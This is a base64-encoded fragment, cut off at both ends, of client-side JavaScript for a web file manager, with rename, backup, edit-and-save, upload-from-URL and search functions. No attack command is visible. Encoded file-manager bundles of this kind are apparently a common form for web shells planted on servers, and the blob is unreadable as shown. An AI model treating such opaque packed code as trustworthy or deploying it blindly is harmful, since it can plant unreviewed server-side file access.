IG1hdGNoLmluZGV4ICsgbWF0Y2hbMF0ubGVuZ3RoXG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIGFkZChodG1sLnN1YnN0cihjdXJzb3IsIGh0bWwubGVuZ3RoIC0gY3Vyc29yKSk7XG4gICAgICAgICAgICAgICAgY29kZSArPSAncmV0dXJuIHIuam9pbihcIlwiKTsnO1xuICAgICAgICAgICAgICAgIHJldHVybiBuZXcgRnVuY3Rpb24oY29kZS5yZXBsYWNlKFwvW1xcclxcdFxcbl1cL2csICcnKSkuYXBwbHkob3B0aW9ucylcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gcmVuYW1lKGUsIHQpIHtcbiAgICAgICAgICAgICAgICBpZiAodCkge1xuICAgICAgICAgICAgICAgICAgICAkKFwiI2pzLXJlbmFtZS1mcm9tXCIpLnZhbCh0KTtcbiAgICAgICAgICAgICAgICAgICAgJChcIiNqcy1yZW5hbWUtdG9cIikudmFsKHQpO1xuICAgICAgICAgICAgICAgICAgICAkKFwiI3JlbmFtZURhaWxvZ1wiKS5tb2RhbCgnc2hvdycpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gY2hhbmdlX2NoZWNrYm94ZXMoZSwgdCkge1xuICAgICAgICAgICAgICAgIGZvciAodmFyIG4gPSBlLmxlbmd0aCAtIDE7IG4gPj0gMDsgbi0tKSBlW25dLmNoZWNrZWQgPSBcImJvb2xlYW5cIiA9PSB0eXBlb2YgdCA/IHQgOiAhZVtuXS5jaGVja2VkXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIGdldF9jaGVja2JveGVzKCkge1xuICAgICAgICAgICAgICAgIGZvciAodmFyIGUgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZShcImZpbGVbXVwiKSwgdCA9IFtdLCBuID0gZS5sZW5ndGggLSAxOyBuID49IDA7IG4tLSkoZVtuXS50eXBlID0gXCJjaGVja2JveFwiKSAmJiB0LnB1c2goZVtuXSk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIHRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2VsZWN0X2FsbCgpIHtcbiAgICAgICAgICAgICAgICBjaGFuZ2VfY2hlY2tib3hlcyhnZXRfY2hlY2tib3hlcygpLCAhMClcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gdW5zZWxlY3RfYWxsKCkge1xuICAgICAgICAgICAgICAgIGNoYW5nZV9jaGVja2JveGVzKGdldF9jaGVja2JveGVzKCksICExKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiBpbnZlcnRfYWxsKCkge1xuICAgICAgICAgICAgICAgIGNoYW5nZV9jaGVja2JveGVzKGdldF9jaGVja2JveGVzKCkpXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIGNoZWNrYm94X3RvZ2dsZSgpIHtcbiAgICAgICAgICAgICAgICB2YXIgZSA9IGdldF9jaGVja2JveGVzKCk7XG4gICAgICAgICAgICAgICAgZS5wdXNoKHRoaXMpLCBjaGFuZ2VfY2hlY2tib3hlcyhlKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiBiYWNrdXAoZSwgdCkge1xuICAgICAgICAgICAgICAgIHZhciBuID0gbmV3IFhNTEh0dHBSZXF1ZXN0LFxuICAgICAgICAgICAgICAgICAgICBhID0gXCJwYXRoPVwiICsgZSArIFwiJmZpbGU9XCIgKyB0ICsgXCImdG9rZW49XCIgKyB3aW5kb3cuY3NyZiArIFwiJnR5cGU9YmFja3VwJmFqYXg9dHJ1ZVwiO1xuICAgICAgICAgICAgICAgIHJldHVybiBuLm9wZW4oXCJQT1NUXCIsIFwiXCIsICEwKSwgbi5zZXRSZXF1ZXN0SGVhZGVyKFwiQ29udGVudC10eXBlXCIsIFwiYXBwbGljYXRpb25cL3gtd3d3LWZvcm0tdXJsZW5jb2RlZFwiKSwgbi5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgNCA9PSBuLnJlYWR5U3RhdGUgJiYgMjAwID09IG4uc3RhdHVzICYmIHRvYXN0KG4ucmVzcG9uc2VUZXh0KVxuICAgICAgICAgICAgICAgIH0sIG4uc2VuZChhKSwgITFcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gdG9hc3QodHh0KSB7XG4gICAgICAgICAgICAgICAgdmFyIHggPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcInNuYWNrYmFyXCIpO1xuICAgICAgICAgICAgICAgIHguaW5uZXJIVE1MID0gdHh0O1xuICAgICAgICAgICAgICAgIHguY2xhc3NOYW1lID0gXCJzaG93XCI7XG4gICAgICAgICAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgeC5jbGFzc05hbWUgPSB4LmNsYXNzTmFtZS5yZXBsYWNlKFwic2hvd1wiLCBcIlwiKTtcbiAgICAgICAgICAgICAgICB9LCAzMDAwKTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gZWRpdF9zYXZlKGUsIHQpIHtcbiAgICAgICAgICAgICAgICB2YXIgbiA9IFwiYWNlXCIgPT0gdCA/IGVkaXRvci5nZXRTZXNzaW9uKCkuZ2V0VmFsdWUoKSA6IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwibm9ybWFsLWVkaXRvclwiKS52YWx1ZTtcbiAgICAgICAgICAgICAgICBpZiAodHlwZW9mIG4gIT09ICd1bmRlZmluZWQnICYmIG4gIT09IG51bGwpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKHRydWUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBkYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFqYXg6IHRydWUsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudDogbixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAnc2F2ZScsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgdG9rZW46IHdpbmRvdy5jc3JmXG4gICAgICAgICAgICAgICAgICAgICAgICB9O1xuXG4gICAgICAgICAgICAgICAgICAgICAgICAkLmFqYXgoe1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHR5cGU6IFwiUE9TVFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVybDogd2luZG93LmxvY2F0aW9uLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGE6IEpTT04uc3RyaW5naWZ5KGRhdGEpLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRlbnRUeXBlOiBcImFwcGxpY2F0aW9uXC9qc29uOyBjaGFyc2V0PXV0Zi04XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24obWVzKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KFwiU2F2ZWQgU3VjY2Vzc2Z1bGx5XCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cub25iZWZvcmV1bmxvYWQgPSBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVyblxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmYWlsdXJlOiBmdW5jdGlvbihtZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdG9hc3QoXCJFcnJvcjogdHJ5IGFnYWluXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZXJyb3I6IGZ1bmN0aW9uKG1lcykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0b2FzdChgPHAgc3R5bGU9XCJiYWNrZ3JvdW5kLWNvbG9yOnJlZFwiPiR7bWVzLnJlc3BvbnNlVGV4dH08XC9wPmApO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KFwiZm9ybVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGEuc2V0QXR0cmlidXRlKFwibWV0aG9kXCIsIFwiUE9TVFwiKSwgYS5zZXRBdHRyaWJ1dGUoXCJhY3Rpb25cIiwgXCJcIik7XG4gICAgICAgICAgICAgICAgICAgICAgICB2YXIgbyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCJ0ZXh0YXJlYVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIG8uc2V0QXR0cmlidXRlKFwidHlwZVwiLCBcInRleHRhcmVhXCIpLCBvLnNldEF0dHJpYnV0ZShcIm5hbWVcIiwgXCJzYXZlZGF0YVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGxldCBjeCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCJpbnB1dFwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGN4LnNldEF0dHJpYnV0ZShcInR5cGVcIiwgXCJoaWRkZW5cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBjeC5zZXRBdHRyaWJ1dGUoXCJuYW1lXCIsIFwidG9rZW5cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBjeC5zZXRBdHRyaWJ1dGUoXCJ2YWx1ZVwiLCB3aW5kb3cuY3NyZik7XG4gICAgICAgICAgICAgICAgICAgICAgICB2YXIgYyA9IGRvY3VtZW50LmNyZWF0ZVRleHROb2RlKG4pO1xuICAgICAgICAgICAgICAgICAgICAgICAgby5hcHBlbmRDaGlsZChjKSwgYS5hcHBlbmRDaGlsZChvKSwgYS5hcHBlbmRDaGlsZChjeCksIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSksIGEuc3VibWl0KClcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2hvd19uZXdfcHdkKCkge1xuICAgICAgICAgICAgICAgICQoXCIuanMtbmV3LXB3ZFwiKS50b2dnbGVDbGFzcygnaGlkZGVuJyk7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIHNhdmVfc2V0dGluZ3MoJHRoaXMpIHtcbiAgICAgICAgICAgICAgICBsZXQgZm9ybSA9ICQoJHRoaXMpO1xuICAgICAgICAgICAgICAgICQuYWpheCh7XG4gICAgICAgICAgICAgICAgICAgIHR5cGU6IGZvcm0uYXR0cignbWV0aG9kJyksXG4gICAgICAgICAgICAgICAgICAgIHVybDogZm9ybS5hdHRyKCdhY3Rpb24nKSxcbiAgICAgICAgICAgICAgICAgICAgZGF0YTogZm9ybS5zZXJpYWxpemUoKSArIFwiJnRva2VuPVwiICsgd2luZG93LmNzcmYgKyBcIiZhamF4PVwiICsgdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24oZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGRhdGEpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cubG9jYXRpb24ucmVsb2FkKCk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIG5ld19wYXNzd29yZF9oYXNoKCR0aGlzKSB7XG4gICAgICAgICAgICAgICAgbGV0IGZvcm0gPSAkKCR0aGlzKSxcbiAgICAgICAgICAgICAgICAgICAgJHB3ZCA9ICQoXCIjanMtcHdkLXJlc3VsdFwiKTtcbiAgICAgICAgICAgICAgICAkcHdkLnZhbCgnJyk7XG4gICAgICAgICAgICAgICAgJC5hamF4KHtcbiAgICAgICAgICAgICAgICAgICAgdHlwZTogZm9ybS5hdHRyKCdtZXRob2QnKSxcbiAgICAgICAgICAgICAgICAgICAgdXJsOiBmb3JtLmF0dHIoJ2FjdGlvbicpLFxuICAgICAgICAgICAgICAgICAgICBkYXRhOiBmb3JtLnNlcmlhbGl6ZSgpICsgXCImdG9rZW49XCIgKyB3aW5kb3cuY3NyZiArIFwiJmFqYXg9XCIgKyB0cnVlLFxuICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwd2QudmFsKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiB1cGxvYWRfZnJvbV91cmwoJHRoaXMpIHtcbiAgICAgICAgICAgICAgICBsZXQgZm9ybSA9ICQoJHRoaXMpLFxuICAgICAgICAgICAgICAgICAgICByZXN1bHRXcmFwcGVyID0gJChcImRpdiNqcy11cmwtdXBsb2FkX19saXN0XCIpO1xuICAgICAgICAgICAgICAgICQuYWpheCh7XG4gICAgICAgICAgICAgICAgICAgIHR5cGU6IGZvcm0uYXR0cignbWV0aG9kJyksXG4gICAgICAgICAgICAgICAgICAgIHVybDogZm9ybS5hdHRyKCdhY3Rpb24nKSxcbiAgICAgICAgICAgICAgICAgICAgZGF0YTogZm9ybS5zZXJpYWxpemUoKSArIFwiJnRva2VuPVwiICsgd2luZG93LmNzcmYgKyBcIiZhamF4PVwiICsgdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgYmVmb3JlU2VuZDogZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikuYXR0cihcImRpc2FibGVkXCIsIFwiZGlzYWJsZWRcIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJidXR0b25cIikuaGlkZSgpO1xuICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiLmxkcy1mYWNlYm9va1wiKS5hZGRDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChkYXRhLmRvbmUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0V3JhcHBlci5hcHBlbmQoJzxkaXYgY2xhc3M9XCJhbGVydCBhbGVydC1zdWNjZXNzIHJvd1wiPlVwbG9hZGVkIFN1Y2Nlc3NmdWw6ICcgKyBkYXRhLmRvbmUubmFtZSArICc8XC9kaXY+Jyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcImlucHV0W25hbWU9dXBsb2FkdXJsXVwiKS52YWwoJycpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSBpZiAoZGF0YVsnZmFpbCddKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc3VsdFdyYXBwZXIuYXBwZW5kKCc8ZGl2IGNsYXNzPVwiYWxlcnQgYWxlcnQtZGFuZ2VyIHJvd1wiPkVycm9yOiAnICsgZGF0YS5mYWlsLm1lc3NhZ2UgKyAnPFwvZGl2PicpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikucmVtb3ZlQXR0cihcImRpc2FibGVkXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcImJ1dHRvblwiKS5zaG93KCk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiLmxkcy1mYWNlYm9va1wiKS5yZW1vdmVDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgICBlcnJvcjogZnVuY3Rpb24oeGhyKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikucmVtb3ZlQXR0cihcImRpc2FibGVkXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiYnV0dG9uXCIpLnNob3coKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcIi5sZHMtZmFjZWJvb2tcIikucmVtb3ZlQ2xhc3MoJ3Nob3ctbWUnKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnNvbGUuZXJyb3IoeGhyKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2VhcmNoX3RlbXBsYXRlKGRhdGEpIHtcbiAgICAgICAgICAgICAgICB2YXIgcmVzcG9uc2UgPSBcIlwiO1xuICAgICAgICAgICAgICAgICQuZWFjaChkYXRhLCBmdW5jdGlvbihrZXksIHZhbCkge1xuICAgICAgICAgICAgICAgICAgICByZXNwb25zZSArPSBgPGxpPjxhIGhyZWY9XCI/cD0ke3ZhbC5wYXRofSZ2aWV3PSR7dmFsLm5hbWV9XCI+JHt2YWwucGF0aH1cLyR7dmFsLm5hbWV9PFwvYT48XC9saT5gO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIHJldHVybiByZXNwb25zZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gZm1fc2VhcmNoKCkge1xuICAgICAgICAgICAgICAgIHZhciBzZWFyY2hUeHQgPSAkKFwiaW5wdXQjYWR2YW5jZWQtc2VhcmNoXCIpLnZhbCgpLFxuICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyID0gJChcInVsI3NlYXJjaC13cmFwcGVyXCIpLFxuICAgICAgICAgICAgICAgICAgICBwYXRoID0gJChcIiNqcy1zZWFyY2gtbW9kYWxcIikuYXR0cihcImhyZWZcIiksXG4gICAgICAgICAgICAgICAgICAgIF9odG1sID0gXCJcIixcbiAgICAgICAgICAgICAgICAgICAgJGxvYWRlciA9ICQoXCJkaXYubGRzLWZhY2Vib29rXCIpO1xuICAgICAgICAgICAgICAgIGlmICghIXNlYXJjaFR4dCAmJiBzZWFyY2hUeHQubGVuZ3RoID4gMiAmJiBwYXRoKSB7XG4gICAgICAgICAgICAgICAgICAgIHZhciBkYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgYWpheDogdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRlbnQ6IHNlYXJjaFR4dCxcbiAgICAgICAgICAgICAgICAgICAgICAgIHBhdGg6IHBhdGgsXG4gICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAnc2VhcmNoJyxcbiAgICAgICAgICAgICAgICAgICAgICAgIHRva2VuOiB3aW5kb3cuY3NyZlxuICAgICAgICAgICAgICAgICAgICB9O1xuICAgICAgICAgICAgICAgICAgICAkLmFqYXgoe1xuICAgICAgICAgICAgICAgICAgICAgICAgdHlwZTogXCJQT1NUXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICB1cmw6IHdpbmRvdy5sb2NhdGlvbixcbiAgICAgICAgICAgICAgICAgICAgICAgIGRhdGE6IGRhdGEsXG4gICAgICAgICAgICAgICAgICAgICAgICBiZWZvcmVTZW5kOiBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyLmh0bWwoJycpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsb2FkZXIuYWRkQ2xhc3MoJ3Nob3ctbWUnKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxvYWRlci5yZW1vdmVDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChkYXRhICYmIGRhdGEubGVuZ3RoKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9odG1sID0gc2VhcmNoX3RlbXBsYXRlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyLmh0bWwoX2h0bWwpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNlYXJjaFdyYXBwZXIuaHRtbCgnPHAgY2xhc3M9XCJtLTJcIj5ObyByZXN1bHQgZm91bmQhPHA+Jyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yOiBmdW5jdGlvbih4aHIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbG9hZGVyLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKCc8cCBjbGFzcz1cIm0tMlwiPkVSUk9SOiBUcnkgYWdhaW4gbGF0ZXIhPFwvcD4nKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICBmYWlsdXJlOiBmdW5jdGlvbihtZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbG9hZGVyLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKCc8cCBjbGFzcz1cIm0tMlwiPkVSUk9SOiBUcnkgYWdhaW4gbGF0ZXIhPFwvcD4nKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKFwiT09QUzogbWluaW11bSAzIGNoYXJhY3RlcnMgcmVxdWlyZWQhXCIpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gY29uZmlybURhaWxvZyhlLCBpZCA9IDAsIHRpdGxlID0gXCJBY3Rpb25cIiwgY29udGVudCA9IFwiXCIsIGFjdGlvbiA9IG51bGwpIHtcbiAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7XG4gICAgICAgICAgICAgICAgY29uc3QgdHBsT2JqID0ge1xuICAgICAgICAgICAgICAgICAgICBpZCxcbiAgICAgICAgICAgICAgICAgICAgdGl0bGUsXG4gICAgICAgICAgICAgICAgICAgIGNvbnRlbnQ6IGRlY29kZVVSSUNvbXBvbmVudChjb250ZW50LnJlcGxhY2UoXC9cXCtcL2csICcgJykpLFxuICAgICAgICAgICAgICAgICAgICBhY3Rpb25cbiAgICAgICAgICAgICAgICB9O1xuICAgICAgICAgICAgICAgIGxldCB0cGwgPSAkKFwiI2pzLXRwbC1jb25maXJtXCIpLmh0bWwoKTtcbiAgICAgICAgICAgICAgICAkKFwiLm1vZGFsLmNvbmZpcm1EYWlsb2dcIikucmVtb3ZlKCk7XG4gICAgICAgICAgICAgICAgJCgnI3dyYXBwZXInKS5hcHBlbmQodGVtcGxhdGUodHBsLCB0cGxPYmopKTtcbiAgICAgICAgICAgICAgICBjb25zdCAkY29uZmlybURhaWxvZyA9ICQoXCIjY29uZmlybURhaWxvZy1cIiArIHRwbE9iai5pZCk7XG4gICAgICAgICAgICAgICAgJGNvbmZpcm1EYWlsb2cubW9kYWwoJ3Nob3cnKTtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICEgZnVuY3Rpb24ocykge1xuICAgICAgICAgICAgICAgIHMucHJldmlld0ltYWdlID0gZnVuY3Rpb24oZSkge1xuICAgICAgICAgICAgICAgICAgICB2YXIgbyA9IHMoZG9jdW1lbnQpLFxuICAgICAgICAgICAgICAgICAgICAgICAgdCA9IFwiLnByZXZpZXdJbWFnZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgYSA9IHMuZXh0ZW5kKHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB4T2Zmc2V0OiAyMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB5T2Zmc2V0OiAtMjAsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZmFkZUluOiBcImZhc3RcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjc3M6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogXCI1cHhcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyOiBcIjFweCBzb2xpZCAjY2NjY2NjXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYmFja2dyb3VuZC1jb2xvclwiOiBcIiNmZmZcIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnRTZWxlY3RvcjogXCJbZGF0YS1wcmV2aWV3LWltYWdlXVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGFLZXk6IFwicHJldmlld0ltYWdlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgb3ZlcmxheUlkOiBcInByZXZpZXctaW1hZ2UtcGx1Z2luLW92ZXJsYXlcIlxuICAgICAgICAgICAgICAgICAgICAgICAgfSwgZSk7XG4gICAgICAgICAgICAgICAgICAgIHJldHVybiBvLm9mZih0KSwgby5vbihcIm1vdXNlb3ZlclwiICsgdCwgYS5ldmVudFNlbGVjdG9yLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBzKFwicCNcIiArIGEub3ZlcmxheUlkKS5yZW1vdmUoKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBvID0gcyhcIjxwPlwiKS5hdHRyKFwiaWRcIiwgYS5vdmVybGF5SWQpLmNzcyhcInBvc2l0aW9uXCIsIFwiYWJzb2x1dGVcIikuY3NzKFwiZGlzcGxheVwiLCBcIm5vbmVcIikuYXBwZW5kKHMoJzxpbWcgY2xhc3M9XCJjLXByZXZpZXctaW1nXCI+JykuYXR0cihcInNyY1wiLCBzKHRoaXMpLmRhdGEoYS5kYXRhS2V5KSkpO1xuICAgICAgICAgICAgICAgICAgICAgICAgYS5jc3MgJiYgby5jc3MoYS5jc3MpLCBzKFwiYm9keVwiKS5hcHBlbmQobyksIG8uY3NzKFwidG9wXCIsIGUucGFnZVkgKyBhLnlPZmZzZXQgKyBcInB4XCIpLmNzcyhcImxlZnRcIiwgZS5wYWdlWCArIGEueE9mZnNldCArIFwicHhcIikuZmFkZUluKGEuZmFkZUluKVxuICAgICAgICAgICAgICAgICAgICB9KSwgby5vbihcIm1vdXNlb3V0XCIgKyB0LCBhLmV2ZW50U2VsZWN0b3IsIGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgcyhcIiNcIiArIGEub3ZlcmxheUlkKS5yZW1vdmUoKVxuICAgICAgICAgICAgICAgICAgICB9KSwgby5vbihcIm1vdXNlbW92ZVwiICsgdCwgYS5ldmVudFNlbGVjdG9yLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBzKFwiI1wiICsgYS5vdmVybGF5SWQpLmNzcyhcInRvcFwiLCBlLnBhZ2VZICsgYS55T2Zmc2V0ICsgXCJweFwiKS5jc3MoXCJsZWZ0XCIsIGUucGFnZVggKyBhLnhPZmZzZXQgKyBcInB4XCIpXG4gICAgICAgICAgICAgICAgICAgIH0pLCB0aGlzXG4gICAgICAgICAgICAgICAgfSwgcy5wcmV2aWV3SW1hZ2UoKVxuICAgICAgICAgICAgf